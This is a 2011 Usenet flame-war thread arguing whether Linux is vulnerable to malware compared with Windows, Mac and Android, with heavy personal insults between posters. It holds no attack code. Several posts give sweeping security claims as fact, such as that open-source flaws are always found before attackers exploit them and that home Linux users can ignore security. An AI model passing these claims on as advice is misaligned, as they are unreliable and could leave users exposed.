> On 31/08/2011 6:30 AM, Norman Peelman wrote:
> [snip the blather]
> 
> Firstly, I notice that many of the updates offered via Update Manager on 
> the Ubu laptop are labelled "security updates", usually with an urgent 
> message to install them right now.
> 
> Secondly, Linux is very difficult to infect, but it's not impossible.
> 
> a) If a human gives an evil program permission to download and execute, 
> it will inherit all that user's permissions. Since most single-user 
> systems have a pretty high level of permissions (just one below sudo, 
> usually), that means the evil program can do a bunch of evil stuff. It's 
> surprisingly easy to persuade people to download stuff, open links, etc.
> 
> b) any program that communicates with the web is vulnerable to stealth 
> attacks, no matter what the OS.
> 

there is however a subtle difference with linux, and that is there are a 
lot of distros, and kernel versions and indeed 32 and 64 bit mixtures 
out there.


Depending on the vulnerability you are exploiting, that may narrow the 
target base to a very small percentage of Linux distros indeed.

Thats for real rootkit stuff

I accept that malware that makes - say firefox or java - do something 
like dumping your hone directory somewhere - is a different kettle of 
fish. But I think if that happened to me id notice the odd 30 gigs of 
data spewing outwards..


As for downloadable executables, well the free aspect and te siource 
code aspects is a real barrier. when I go looking for free odd bits of 
code, chances are its so reputable - like Mozilla  that i can trust it 
or its doesn't work without me compiling it.

The click/download/install thing simply isn't Linux. It IS OSX  and it 
IS windows however.


> So, sure, Linux is vulnerable to malware. Why would anyone be surprised 
> at that?
> 

In principle everything is. What is interesting is in what ways and how 
much, and the answer is 'few, and far between'  for many reasons.

Which makes the statement 'its far safer than windows or OSX' eaningful.


> Ciao,
> Wolf K.
0
tnp (2409)
8/31/2011 5:11:19 PM
On Aug 31, 7:05=A0pm, David Brown <da...@westcontrol.removethisbit.com>
wrote:

> So basically what you are saying is that you have a financial interest
> in discouraging other people from using Linux, regardless of whether or
> not it is a good choice for them. =A0And you therefore hope that
> misinformation about malware on Linux is spread, so that fewer people
> will use Linux - all with the aim of increasing the value of your shares.
>
> I am not sure there are words to describe an attitude like that. =A0It is
> certainly a lot worse than just being a moronic sycophant with a
> pathological inability to learn, listen, or use both brain cells at the
> same time.

<snip>

Ad hominem noted.  Rest of your post not read.

RL
0
raylopez88 (1520)
8/31/2011 5:16:21 PM
On Aug 31, 9:55=A0pm, David Brown <da...@westcontrol.removethisbit.com>
wrote:

> read more =BB

Read less.  Less is more and you are a bore.

RL
0
raylopez88 (1520)
8/31/2011 5:18:53 PM
On 2011-08-31, Hadron <hadronquark@gmail.com> wrote:
> David Brown <david@westcontrol.removethisbit.com> writes:
>
>> The only big malware threat that faces Linux is attacks on web applications that
>> often run on Linux - but that is a security problem of the application, not the
>> OS.
>
> Whoever told you that nonsense?
>
> Linux can be and is hacked.
 
   That's something else entirely.

   You pretty much have to lie through your teeth to make the original 
argument seem plausible. You have to depend on your audience not fully
understanding what's being discussed.

-- 
	iTunes is not progressive. It's a throwback.		|||
							       / | \
0
jedi (14754)
8/31/2011 5:31:40 PM
RayLopez99 wrote:

> On Aug 31, 7:05 pm, David Brown <da...@westcontrol.removethisbit.com>
> wrote:
> 
>> So basically what you are saying is that you have a financial interest
>> in discouraging other people from using Linux, regardless of whether or
>> not it is a good choice for them.  And you therefore hope that
>> misinformation about malware on Linux is spread, so that fewer people
>> will use Linux - all with the aim of increasing the value of your shares.
>>
>> I am not sure there are words to describe an attitude like that.  It is
>> certainly a lot worse than just being a moronic sycophant with a
>> pathological inability to learn, listen, or use both brain cells at the
>> same time.
> 
> <snip>
> 
> Ad hominem noted.  Rest of your post not read.
> 

He was actually very nice to you. In reality, you are dumber than a stump
0
8/31/2011 7:13:30 PM
On 31/08/2011 19:16, RayLopez99 wrote:
> On Aug 31, 7:05 pm, David Brown<da...@westcontrol.removethisbit.com>
> wrote:
>
>> So basically what you are saying is that you have a financial interest
>> in discouraging other people from using Linux, regardless of whether or
>> not it is a good choice for them.  And you therefore hope that
>> misinformation about malware on Linux is spread, so that fewer people
>> will use Linux - all with the aim of increasing the value of your shares.
>>
>> I am not sure there are words to describe an attitude like that.  It is
>> certainly a lot worse than just being a moronic sycophant with a
>> pathological inability to learn, listen, or use both brain cells at the
>> same time.
>
> <snip>
>
> Ad hominem noted.  Rest of your post not read.
>

"Ad hominem" usually refers to an attempt to discredit someone's 
argument by making a personal attack, especially one that has no 
justification (examples include your referral to Linux advocates as 
"retards").  I gave plenty of on-topic comments to your arguments - the 
personal comments are just a summary of the character you show through 
your Usenet postings, but I don't claim your arguments are false because 
you are a moronic sycophant.  Your arguments are (for the most part) 
false because they are nonsense.

And I find the idea of actively spreading lies in the attempt to make 
money despicable.


0
david2384 (2168)
8/31/2011 7:16:56 PM
RayLopez99 wrote:

> Linux


10 minutes have passed since dopez wrote about Linux.

Really 'dumb' question: Could RayLopez99 now list one currently
active virus that I can download and infect a patched Linux PC.





0
8/31/2011 7:35:18 PM
Hadron<hadronquark@gmail.com> wrote in
news:6tbov6vyoy.fsf@news.eternal-september.org: 

> WHile Linux CAN catch a virus its rare as its rarely targetted by
> the usual techniques since the "dumb" userbase is so small - that
> and reasonably secure interfaces to the outside world.

Give it time. That dumb userbase is growing. The "friendlier" linux gets, 
the dumber the users you will have. This is what happened to windows, 
this is how linux will go too. I will laugh hysterically in the 
background. Not at anyone in particular, but at the computer industry as 
a whole. 



-- 
I am a sinner
Hold my prayers upto the sun
I am a sinner
Heaven's closed for what I've done.
0
8/31/2011 8:19:38 PM
David Brown <david@westcontrol.removethisbit.com> wrote in
news:r6CdnRyPr-6XqsPTnZ2dnUVZ8hmdnZ2d@lyse.net: 

> I agree that Linux is not 100% secure - no system is.  But there is
> also no doubt that Linux is /much/ more secure, and /much/ safer
> from malware and other threats than Windows is.  It is certainly

I would have to disagree, there. I run reasonably secure windows NT 
systems here. It's the person between the keyboard and chair which is 
responsible for the network security at the end of the day. Linux isn't 
any more/less secure than windows, depending on how it's being deployed 
and the configuration it's being used in. Again, it's the admin who's 
responsible if security is amiss.

> possible to make a Windows system reasonably safe.  I run the IT
> department at my office, and almost all desktops are Windows - we
> have had very few incidents of malware, and no successful cracks,
> attacks, or worms.  But it is both realistic and responsible to say

Which incidents of malware have you suffered? If any due to browser 
vulnerability, I'd suggest you switch browsers and stop letting them 
surf with administrator rights. 

> If you are running a nuclear power station, you need to worry about
> your Linux security.  If you are a typical home user - install Linux
> and forget about security and malware.

The PLC boards aren't running linux in the power plants, that often. 
It's proprietary junk.
 
> No, they are not - at least, not at the moment.  It would be a
> different matter if there were a higher percentage of people using
> Linux on desktops.  But the majority of people using Linux are
> people who have made an active choice to use it - these are people

Which will change. Linux has a niche market, for now. It has the 
illusion of better security as a result.


-- 
I am a sinner
Hold my prayers upto the sun
I am a sinner
Heaven's closed for what I've done.
0
8/31/2011 8:26:05 PM
On 8/31/2011 3:35 PM, 7 wrote:
> RayLopez99 wrote:
>
>> Linux
>
>
> 10 minutes have passed since dopez wrote about Linux.
>
> Really 'dumb' question: Could RayLopez99 now list one currently
> active virus that I can download and infect a patched Linux PC.
>

Patched? Linux is not perfect? OMG! I thought Linux was written by the 
gods and it's perfect according to those that hump Linux like a dog like 
you 7. :)
0
bigonezzzz (216)
8/31/2011 8:28:57 PM
Wolf K <wekirch@sympatico.ca> wrote in
news:%Lq7q.69828$XM.59301@unlimited.newshosting.com: 

> On 31/08/2011 6:30 AM, Norman Peelman wrote:
> [snip the blather]
> 
> Firstly, I notice that many of the updates offered via Update
> Manager on the Ubu laptop are labelled "security updates", usually
> with an urgent message to install them right now.
> 
> Secondly, Linux is very difficult to infect, but it's not
> impossible. 
> 
> a) If a human gives an evil program permission to download and
> execute, it will inherit all that user's permissions. Since most
> single-user systems have a pretty high level of permissions (just
> one below sudo, usually), that means the evil program can do a bunch
> of evil stuff. It's surprisingly easy to persuade people to download
> stuff, open links, etc. 
> 
> b) any program that communicates with the web is vulnerable to
> stealth attacks, no matter what the OS.
> 
> So, sure, Linux is vulnerable to malware. Why would anyone be
> surprised at that?
> 
> Ciao,
> Wolf K.
> 

[BIG GRIN]


-- 
I am a sinner
Hold my prayers upto the sun
I am a sinner
Heaven's closed for what I've done.
0
8/31/2011 8:29:04 PM
On 8/31/2011 4:19 PM, Dustin wrote:
> Hadron<hadronquark@gmail.com>  wrote in
> news:6tbov6vyoy.fsf@news.eternal-september.org:
>
>> WHile Linux CAN catch a virus its rare as its rarely targetted by
>> the usual techniques since the "dumb" userbase is so small - that
>> and reasonably secure interfaces to the outside world.
>
> Give it time. That dumb userbase is growing. The "friendlier" linux gets,
> the dumber the users you will have. This is what happened to windows,
> this is how linux will go too. I will laugh hysterically in the
> background. Not at anyone in particular, but at the computer industry as
> a whole.
>
>
>

All you have to do is look at Android Linux being humped like a dog by 
malware writers, because the masses are using Android.
0
bigonezzzz (216)
8/31/2011 8:31:25 PM
On 31/08/2011 21:35, 7 wrote:
> RayLopez99 wrote:
>
>> Linux
>
>
> 10 minutes have passed since dopez wrote about Linux.
>
> Really 'dumb' question: Could RayLopez99 now list one currently
> active virus that I can download and infect a patched Linux PC.
>

There was one famous Linux virus.  It was an email that read something 
like this :


Hi!  This is the Linux virus.  Please delete a bunch of your files at 
random, then pass me on to everyone in your address book.


It was the only Linux virus that had any noticeable circulation.


0
david2384 (2168)
8/31/2011 8:56:09 PM
On 31/08/2011 22:26, Dustin wrote:
> David Brown<david@westcontrol.removethisbit.com>  wrote in
> news:r6CdnRyPr-6XqsPTnZ2dnUVZ8hmdnZ2d@lyse.net:
>
>> I agree that Linux is not 100% secure - no system is.  But there
>> is also no doubt that Linux is /much/ more secure, and /much/
>> safer from malware and other threats than Windows is.  It is
>> certainly
>
> I would have to disagree, there. I run reasonably secure windows NT
> systems here. It's the person between the keyboard and chair which
> is responsible for the network security at the end of the day. Linux
> isn't any more/less secure than windows, depending on how it's being
> deployed and the configuration it's being used in. Again, it's the
> admin who's responsible if security is amiss.
>

I agree that it's the admin who is responsible - but the choice of OS
makes the job harder or easier.  With Windows, if you have a solid
network setup with a good firewall between the nasty internet and the
desktops, choose user software and setup carefully, and make sure users
have decent training in security, then you are pretty safe.  But with
Linux, I can install it on a laptop and connect it directly to any
network I want, and let anyone use it as they want.  Very roughly
speaking, you have to know what you are doing to keep Windows safe - you
have to know what you are doing to make Linux unsafe.

>> possible to make a Windows system reasonably safe.  I run the IT
>> department at my office, and almost all desktops are Windows - we
>> have had very few incidents of malware, and no successful cracks,
>> attacks, or worms.  But it is both realistic and responsible to
>> say
>
> Which incidents of malware have you suffered? If any due to browser
> vulnerability, I'd suggest you switch browsers and stop letting them
> surf with administrator rights.
>

Over the last 15 years or so, we've only had a few.  The most annoying
to get out of the systems was a MS Word/Excel macro virus.  We had a
worm that got into a few machines - the source was an employee who
brought in their laptop to download a windows service pack that blocked
said worm, since they only had slow dial-up at home.  Needless to say
that employee got a keelhauling for connecting an outside machine to the
company network.

We also had a few spyware and porn/casino pop-up problems, until we
(that is, I) banned Internet Exploder about 10 years ago.

>> If you are running a nuclear power station, you need to worry
>> about your Linux security.  If you are a typical home user -
>> install Linux and forget about security and malware.
>
> The PLC boards aren't running linux in the power plants, that often.
> It's proprietary junk.

PLC's are not junk - they are often the right tool for the job.

However, while factory automation is typically run using PLC's, the user
interface is normally on a PC.  Mess up them, and you've messed up the
plant.

>
>> No, they are not - at least, not at the moment.  It would be a
>> different matter if there were a higher percentage of people using
>> Linux on desktops.  But the majority of people using Linux are
>> people who have made an active choice to use it - these are people
>
> Which will change. Linux has a niche market, for now. It has the
> illusion of better security as a result.

No, Linux has better security through better design and implementation.
(The same applies to other good *nix systems, like BSD, Solaris, etc.) 
Lower desktop market penetration is an extra bonus that reduces the 
threats even more.




0
david2384 (2168)
8/31/2011 9:07:37 PM
David Brown wrote this copyrighted missive and expects royalties:

> On 31/08/2011 22:26, Dustin wrote:
>
>> Which will change. Linux has a niche market, for now. It has the
>> illusion of better security as a result.
>
> No, Linux has better security through better design and implementation.
> (The same applies to other good *nix systems, like BSD, Solaris, etc.) 
> Lower desktop market penetration is an extra bonus that reduces the 
> threats even more.

Amazing how the 'Softies keep pushing the same boolshit throughout the
years, isn't it?

Linux/UNIX grew up in a networked hacker's paradise spanning the globe, from
its roots with a telephony provider.

Windows grew up on consumers' "personal computers", from its roots with
"Traf-O-Data".

That's a key difference.

-- 
In a display of perverse brilliance, Carl the repairman mistakes a room
humidifier for a mid-range computer but manages to tie it into the network
anyway.
		-- The 5th Wave
0
ahlstromc8504 (8208)
8/31/2011 9:15:07 PM
On 8/31/2011 5:15 PM, Chris Ahlstrom wrote:
> David Brown wrote this copyrighted missive and expects royalties:
>
>> On 31/08/2011 22:26, Dustin wrote:
>>
>>> Which will change. Linux has a niche market, for now. It has the
>>> illusion of better security as a result.
>>
>> No, Linux has better security through better design and implementation.
>> (The same applies to other good *nix systems, like BSD, Solaris, etc.)
>> Lower desktop market penetration is an extra bonus that reduces the
>> threats even more.
>
> Amazing how the 'Softies keep pushing the same boolshit throughout the
> years, isn't it?
>
> Linux/UNIX grew up in a networked hacker's paradise spanning the globe, from
> its roots with a telephony provider.
>
> Windows grew up on consumers' "personal computers", from its roots with
> "Traf-O-Data".
>
> That's a key difference.
>

Don't let this clown fool you. He's a MS programmer that couldn't get a 
damn job using Linux if his life depended upon it. He's a total hypocrite.

0
bigonezzzz (216)
8/31/2011 9:24:28 PM
On 08/31/2011 02:07 PM, David Brown wrote:
> On 31/08/2011 22:26, Dustin wrote:
>> David Brown<david@westcontrol.removethisbit.com> wrote in
>> news:r6CdnRyPr-6XqsPTnZ2dnUVZ8hmdnZ2d@lyse.net:
>>
>>> I agree that Linux is not 100% secure - no system is. But there
>>> is also no doubt that Linux is /much/ more secure, and /much/
>>> safer from malware and other threats than Windows is. It is
>>> certainly
>>
>> I would have to disagree, there. I run reasonably secure windows NT
>> systems here. It's the person between the keyboard and chair which
>> is responsible for the network security at the end of the day. Linux
>> isn't any more/less secure than windows, depending on how it's being
>> deployed and the configuration it's being used in. Again, it's the
>> admin who's responsible if security is amiss.
>>
>
> I agree that it's the admin who is responsible - but the choice of OS
> makes the job harder or easier. With Windows, if you have a solid
> network setup with a good firewall between the nasty internet and the
> desktops, choose user software and setup carefully, and make sure users
> have decent training in security, then you are pretty safe. But with
> Linux, I can install it on a laptop and connect it directly to any
> network I want, and let anyone use it as they want. Very roughly
> speaking, you have to know what you are doing to keep Windows safe - you
> have to know what you are doing to make Linux unsafe.
>
>>> possible to make a Windows system reasonably safe. I run the IT
>>> department at my office, and almost all desktops are Windows - we
>>> have had very few incidents of malware, and no successful cracks,
>>> attacks, or worms. But it is both realistic and responsible to
>>> say
>>
>> Which incidents of malware have you suffered? If any due to browser
>> vulnerability, I'd suggest you switch browsers and stop letting them
>> surf with administrator rights.
>>
>
> Over the last 15 years or so, we've only had a few. The most annoying
> to get out of the systems was a MS Word/Excel macro virus. We had a
> worm that got into a few machines - the source was an employee who
> brought in their laptop to download a windows service pack that blocked
> said worm, since they only had slow dial-up at home. Needless to say
> that employee got a keelhauling for connecting an outside machine to the
> company network.
>
> We also had a few spyware and porn/casino pop-up problems, until we
> (that is, I) banned Internet Exploder about 10 years ago.
>
>>> If you are running a nuclear power station, you need to worry
>>> about your Linux security. If you are a typical home user -
>>> install Linux and forget about security and malware.
>>
>> The PLC boards aren't running linux in the power plants, that often.
>> It's proprietary junk.
>
> PLC's are not junk - they are often the right tool for the job.
>
> However, while factory automation is typically run using PLC's, the user
> interface is normally on a PC. Mess up them, and you've messed up the
> plant.
>
>>
>>> No, they are not - at least, not at the moment. It would be a
>>> different matter if there were a higher percentage of people using
>>> Linux on desktops. But the majority of people using Linux are
>>> people who have made an active choice to use it - these are people
>>
>> Which will change. Linux has a niche market, for now. It has the
>> illusion of better security as a result.
>
> No, Linux has better security through better design and implementation.
> (The same applies to other good *nix systems, like BSD, Solaris, etc.)
> Lower desktop market penetration is an extra bonus that reduces the
> threats even more.

	QNX is the bulletproof high reliability proprietary OS used to control 
power plants and other vital functions.  We nearly got to use
it with the Amiga but the Amiga IP holders(Gateway at the time) finally
could not agree with the QNX company.  You can Google QNX which was
a Canadian company the last time I looked.

	Linux by the way is more secure than Windows OSes I have
seen but the NT I have never used.  XP had rotten internal security
and still came setup to be infected.  XP Pro was supposed to have
better internal security between accounts but it did not.  Linux
does have real accounts secured from each other.  Only the root
user can undertake certain tasks.   That alone should put it
in lots of family homes and networks.   Social hacking or
subversions getting passwords and other data by subterfuge
can easily be done by the charmingly malicious.
	But any PC with access to bootable media can
be opened like a book and read at leisure if the relevant
contents are not encrypted.  With multi-core, multiprocessor
units available to a well-funded agency solving encryption
may not take more than a day.

	Revolutionaries better use paper for planning,
quill pens and liquid ink or brushes and ink cakes.

	bliss
0
8/31/2011 9:30:37 PM
[Other two groups snipped because it's RayLopez99's umpteenth attempt at 
trolling.]

On Wednesday 31 August 2011 15:35 in comp.os.linux.setup, Wolf K 
enlightened humanity with the following words...:

> On 31/08/2011 6:30 AM, Norman Peelman wrote:
>
>> [snip the blather]

Norman wasn't blathering.  He was spot-on.

> Firstly, I notice that many of the updates offered via Update Manager
> on the Ubu laptop are labelled "security updates", usually with an
> urgent message to install them right now.

That means that certain bugs have been found in the code that could 
_potentially_ become exploited, and so the distribution vendor advises 
you to install the corrected versions of the packages.  

But just because it is potentially exploitable doesn't mean that it will 
be exploited.  Many vulnerabilities require local access - meaning that 
one has to have an account on the system in order to exploit them - and 
in addition to that, such vulnerabilities are, by the sheer nature of 
Free & Open Source Software, always detected long before any blackhat 
can exploit them.

> Secondly, Linux is very difficult to infect, but it's not impossible.
> 
> a) If a human gives an evil program permission to download and
> execute, it will inherit all that user's permissions. Since most
> single-user systems have a pretty high level of permissions (just one
> below sudo, usually), [...

I am sorry, but you don't seem to understand the UNIX security model.  
The sentence "[...] have a pretty high level of permissions, just one 
below sudo usually" is non-sensical.  UNIX systems by default do not 
work with "permissions levels".  They have permissions and ownerships, 
and only the root user has access to everything.

However, you are referring to Ubuntu, which is trying very hard to 
become a mixture of Microsoft Windows and Apple OSX, using a Linux 
kernel underneath.  Ubuntu does not have a usable root account, so login 
as root or via "/bin/su" is made impossible, because the root account 
does not have a password set.  That means that you are encouraged to 
make use of "/usr/bin/sudo", which by default asks for the user's own 
password for carrying out root-privilege tasks.  This is definitely 
worse than having a usable root account, because a perpetrator would 
only need to guess _one_ password to get access to both your account and 
the root account.

Of course, it is trivial to enable the root account and restrict 
"/usr/bin/sudo" to only a subset of root-privilege operations, or none 
at all.  But that requires a biological unit that is capable of thinking 
outside of the Microsoft/Apple box, and most Ubuntu users aren't capable 
of that.

And _that_ is my personal gripe against Ubuntu.  Canonical is aiming for 
quantity rather than quality, and at directly competing with Microsoft 
and Apple.  And sure, Ubuntu itself is free of charge, but as I have 
already mentioned in the Ubuntu group itself, Canonical is not a 
charitable organization.  They use Ubuntu as a honeypot for drawing in 
paying customers to buy their software solutions and Ubuntu-equipped 
machines.

> ...] that means the evil program can do a bunch of evil stuff. It's
> surprisingly easy to persuade people to download stuff, open links,
> etc.

Social engineering.  That's not a vulnerability of GNU/Linux, that's a 
vulnerability of the circuitry in the biological unit between the 
keyboard and the chair.  There is no accounting for human stupidity, and 
the single-user paradigm caters to that stupidity.

> b) any program that communicates with the web is vulnerable to stealth
> attacks, no matter what the OS.

Of course.

> So, sure, Linux is vulnerable to malware. Why would anyone be
> surprised at that?

The original post - from a known troll - was speaking of software that 
runs on GNU/Linux but scans and protects against _Windows_ malware.


0
Aragorn
8/31/2011 9:30:40 PM
[Trollfest groups snipped.]

On Wednesday 31 August 2011 19:11 in comp.os.linux.setup, The Natural 
Philosopher enlightened humanity with the following words...:

> The click/download/install thing simply isn't Linux. It IS OSX  and it
> IS windows however.

You've forgotten to mention Ubuntu.  It's right up there with the other 
two, just like Shuttleworth is right up there with Gates and Jobs.

-- 
Aragorn
(registered GNU/Linux user #223157)
0
Aragorn
8/31/2011 9:32:40 PM
[Trollfest groups snipped.]

On Wednesday 31 August 2011 19:31 in comp.os.linux.setup, JEDIDIAH 
enlightened humanity with the following words...:

> On 2011-08-31, Hadron <hadronquark@gmail.com> wrote:
>> David Brown <david@westcontrol.removethisbit.com> writes:
>>
>>> The only big malware threat that faces Linux is attacks on web
>>> applications that often run on Linux - but that is a security
>>> problem of the application, not the OS.
>>
>> Whoever told you that nonsense?
>>
>> Linux can be and is hacked.
>  
>    That's something else entirely.
> 
>    You pretty much have to lie through your teeth to make the original
> argument seem plausible. You have to depend on your audience not fully
> understanding what's being discussed.

Well, you are apparently overlooking then that you're dealing with 
Hadron Quark and RayLopez99, two people who are known to lie through 
their teeth all of the time.  And RayLopez99 thinks it gives him more 
credibility if he openly admits to that, even. 

-- 
Aragorn
(registered GNU/Linux user #223157)
0
Aragorn
8/31/2011 9:57:07 PM
On 2011-08-31, Dustin <bughunter.dustin@gmail.com> wrote:
> Hadron<hadronquark@gmail.com> wrote in
> news:6tbov6vyoy.fsf@news.eternal-september.org: 
>
>> WHile Linux CAN catch a virus its rare as its rarely targetted by
>> the usual techniques since the "dumb" userbase is so small - that
>> and reasonably secure interfaces to the outside world.
>
> Give it time. That dumb userbase is growing. The "friendlier" linux gets, 
> the dumber the users you will have. This is what happened to windows, 
> this is how linux will go too. I will laugh hysterically in the 
> background. Not at anyone in particular, but at the computer industry as 
> a whole. 

   You can't get any dumber than the Mac userbase.

   So where's all the malware?

-- 
	iTunes is not progressive. It's a throwback.		|||
							       / | \
0
jedi (14754)
8/31/2011 10:57:53 PM
On 2011-08-31, Big Steel <bigonezzzz@big1zzzzz.com> wrote:
> On 8/31/2011 4:19 PM, Dustin wrote:
>> Hadron<hadronquark@gmail.com>  wrote in
>> news:6tbov6vyoy.fsf@news.eternal-september.org:
>>
>>> WHile Linux CAN catch a virus its rare as its rarely targetted by
>>> the usual techniques since the "dumb" userbase is so small - that
>>> and reasonably secure interfaces to the outside world.
>>
>> Give it time. That dumb userbase is growing. The "friendlier" linux gets,
>> the dumber the users you will have. This is what happened to windows,
>> this is how linux will go too. I will laugh hysterically in the
>> background. Not at anyone in particular, but at the computer industry as
>> a whole.
>>
>>
>>
>
> All you have to do is look at Android Linux being humped like a dog by 
> malware writers, because the masses are using Android.

   Android suffers from trojans in binaries distributed from dodgey
3rd party app stores in China. It's not quite the same thing as what
has plagued Windows and DOS since the dawn of time.

   Although there is the occasional PC game or app that comes with
conveniently infected installation disks.

-- 
	iTunes is not progressive. It's a throwback.		|||
							       / | \
0
jedi (14754)
8/31/2011 10:59:17 PM
On 8/31/2011 6:59 PM, JEDIDIAH wrote:

<snipped>

JEDIDIAH crawl back to your goddman hole where you belong. Nothing you 
have to say is of any interest to me. You are a typical COLA clown with 
nothing but excuse, after excuse and excuses I am not interested in what 
you have to say.
0
Big
8/31/2011 11:17:46 PM
JEDIDIAH stated in post slrnj5tf3h.stn.jedi@nomad.mishnet on 8/31/11 3:57
PM:

> On 2011-08-31, Dustin <bughunter.dustin@gmail.com> wrote:
>> Hadron<hadronquark@gmail.com> wrote in
>> news:6tbov6vyoy.fsf@news.eternal-september.org:
>> 
>>> WHile Linux CAN catch a virus its rare as its rarely targetted by
>>> the usual techniques since the "dumb" userbase is so small - that
>>> and reasonably secure interfaces to the outside world.
>> 
>> Give it time. That dumb userbase is growing. The "friendlier" linux gets,
>> the dumber the users you will have. This is what happened to windows,
>> this is how linux will go too. I will laugh hysterically in the
>> background. Not at anyone in particular, but at the computer industry as
>> a whole. 
> 
>    You can't get any dumber than the Mac userbase.

Mac users, on average, are better educated than Windows users... and, I
believe, have higher IQs.

Of course, this is likely associated with Macs not being found at the low
end, but so be it.  :)

>    So where's all the malware?

There is far less than their is for Android Linux.

-- 
🙈🙉🙊


0
usenet2 (47889)
8/31/2011 11:18:27 PM
[Trollfest groups snipped.]

On Thursday 01 September 2011 01:17 in comp.os.linux.setup, Big Steel 
enlightened humanity with the following words...:

> JEDIDIAH crawl back to your goddman hole where you belong. Nothing you
> have to say is of any interest to me. You are a typical COLA clown
> with nothing but excuse, after excuse and excuses I am not interested
> in what you have to say.

JEDIDIAH also posts in other groups, and this thread was crossposted to 
two other groups than comp.os.linux.advocacy.

And _we_ over here in *comp.os.linux.setup* are not interested in your 
"pro-Microsoft-and-anti-GNU/Linux" nonsense from COLA either.  Yes, 
there /is/ life beyond COLA, and you clowns are fouling it up.

Leave us alone and go update your virus definitions or whatever it is 
that you MickeySoft idiots spend your days doing.

	<plonk>

-- 
Aragorn
(registered GNU/Linux user #223157)
0
Aragorn
8/31/2011 11:51:25 PM
On 31/08/2011 5:30 PM, Bobbie Sellers wrote:
[...]
> Revolutionaries better use paper for planning,
> quill pens and liquid ink or brushes and ink cakes.
>
>      bliss
[...]

We're not quite there yet, schools still teach readin', writin' and 
'rithmetic.

Wolf K.
0
wekirch (32)
9/1/2011 12:30:54 AM
On 31/08/2011 6:57 PM, JEDIDIAH wrote:
> On 2011-08-31, Dustin<bughunter.dustin@gmail.com>  wrote:
>> Hadron<hadronquark@gmail.com>  wrote in
>> news:6tbov6vyoy.fsf@news.eternal-september.org:
>>
>>> WHile Linux CAN catch a virus its rare as its rarely targetted by
>>> the usual techniques since the "dumb" userbase is so small - that
>>> and reasonably secure interfaces to the outside world.
>>
>> Give it time. That dumb userbase is growing. The "friendlier" linux gets,
>> the dumber the users you will have. This is what happened to windows,
>> this is how linux will go too. I will laugh hysterically in the
>> background. Not at anyone in particular, but at the computer industry as
>> a whole.
>
>     You can't get any dumber than the Mac userbase.
>
>     So where's all the malware?
>


The last update on the G4 Powerbook here was a security update. 
_Somebody's_ worried.

Wolf K.
0
wekirch (32)
9/1/2011 12:32:40 AM
On Sep 1, 3:26=A0am, Dustin <bughunter.dus...@gmail.com> wrote:

>
> Which will change. Linux has a niche market, for now. It has the
> illusion of better security as a result.
>
> --

That's so true Dustin.  Linux is 'security by obscurity', with market
share being the obscurity. At one time people suggested using Firefox
because it had less market share than MSFT IE, and so fewer browser
exploits, but that advantage faded as soon as they picked up market
share.

BTW I did not know you could run a browser with elevated privileges
(administrator rights).

As for viruses or malware, the latest episode for me on W7 was when,
as you suggest, I foolishly ran an executable found on an external HD
that was a virus--no fault then of Windows.

RL

0
raylopez88 (1520)
9/1/2011 2:45:53 AM
On Sep 1, 3:56=A0am, David Brown <da...@westcontrol.removethisbit.com>
wrote:
> On 31/08/2011 21:35, 7 wrote:
>
> > RayLopez99 wrote:
>
> >> Linux
>
> > 10 minutes have passed since dopez wrote about Linux.
>
> > Really 'dumb' question: Could RayLopez99 now list one currently
> > active virus that I can download and infect a patched Linux PC.
>
> There was one famous Linux virus. =A0It was an email that read something
> like this :
>
> Hi! =A0This is the Linux virus. =A0Please delete a bunch of your files at
> random, then pass me on to everyone in your address book.
>
> It was the only Linux virus that had any noticeable circulation.

But there was a Windows variant many moon sago that got me once (and
I'm smarter than you) that said "if you have this system file,
XYZ.sys, delete it since it is a virus"--I did so, making a backup
copy of the file, thinking I could restore the system, and ended up
having to do a clean reinstall.  But it was a home system where I had
backed-up the data so I lost nothing but half a day reinstalling.

RL
0
raylopez88 (1520)
9/1/2011 2:48:45 AM
On Sep 1, 4:24=A0am, Big Steel <bigonez...@big1zzzzz.com> wrote:
> On 8/31/2011 5:15 PM, Chris Ahlstrom wrote:
>
..
>
> > That's a key difference.
>
> Don't let this clown fool you. He's a MS programmer that couldn't get a
> damn job using Linux if his life depended upon it. He's a total hypocrite=
..

Hahaha!  Good one Big Steel.  That's right, Dustin is a clown who has
written viruses for fun inbetween his real job working as one of the
leading programmers in the world.  Chris Ahlstrom is so dumb that (as
he admitted in COLA) he once gave out vital personal information about
his teenage daughter and his wife to an internet stalker.  Or at least
that was the impression I got.  A real family man, Piss Angstrom is.

RL
0
raylopez88 (1520)
9/1/2011 2:53:45 AM
7 wrote:
>Really 'dumb' question: Could RayLopez99 now list one currently
>active virus that I can download and infect a patched Linux PC.
>
....or even one that the ESET "Linux anti-virus" looks for.

The notion of a (for-profit) corporation selling such a product
reminds me of the guy who bought a magic stone
to carry with him to keep away tigers.
So far, no tigers within 20 miles.
(Note: The product isn't available in Siberia or Bengal.)

The ONLY need for an anti-whatever app on a Linux box
is to catch files with WINDOZE-SPECIFIC infections.
(if the box is a relay point for such files, e.g. a mail server
or a habitual sharer of files from who-knows-where).

Several years back, I remember reading on Slashdot
about a company that ran all Linux boxes.
Their customers started bitching at them
about getting infections from the company's server.
It had never occurred to them to
scan the content passing thru their system for Windoze badware
as none of their own boxes had ever flinched whatsoever.
0
jeffm_ (1319)
9/1/2011 4:35:26 AM
RayLopez99 wrote:
> On Sep 1, 4:24 am, Big Steel<bigonez...@big1zzzzz.com>  wrote:
>> On 8/31/2011 5:15 PM, Chris Ahlstrom wrote:
>>
> .
>>
>>> That's a key difference.
>>
>> Don't let this clown fool you. He's a MS programmer that couldn't get a
>> damn job using Linux if his life depended upon it. He's a total hypocrite.
>
> Hahaha!  Good one Big Steel.  That's right, Dustin is a clown who has
> written viruses for fun inbetween his real job working as one of the
> leading programmers in the world.  Chris Ahlstrom is so dumb that (as
> he admitted in COLA) he once gave out vital personal information about
> his teenage daughter and his wife to an internet stalker.  Or at least
> that was the impression I got.  A real family man, Piss Angstrom is.
>
http://www.youtube.com/watch?v=OQs6EUry4EM
0
erratic (209)
9/1/2011 11:12:09 AM
CROSSPOST to comp.os.linux.setup,alt.comp.anti-virus SNIPPED 
FromTheRafters wrote this copyrighted missive and expects royalties:

> RayLopez99 wrote:
>> On Sep 1, 4:24 am, Big Steel<bigonez...@big1zzzzz.com>  wrote:
>>> On 8/31/2011 5:15 PM, Chris Ahlstrom wrote:
>>>
>>>> That's a key difference.
>>>
>>> Don't let this clown fool you. He's a MS programmer that couldn't get a
>>> damn job using Linux if his life depended upon it. He's a total hypocrite.

Yawn.  I've seen nothing but idiocy from these two posters.

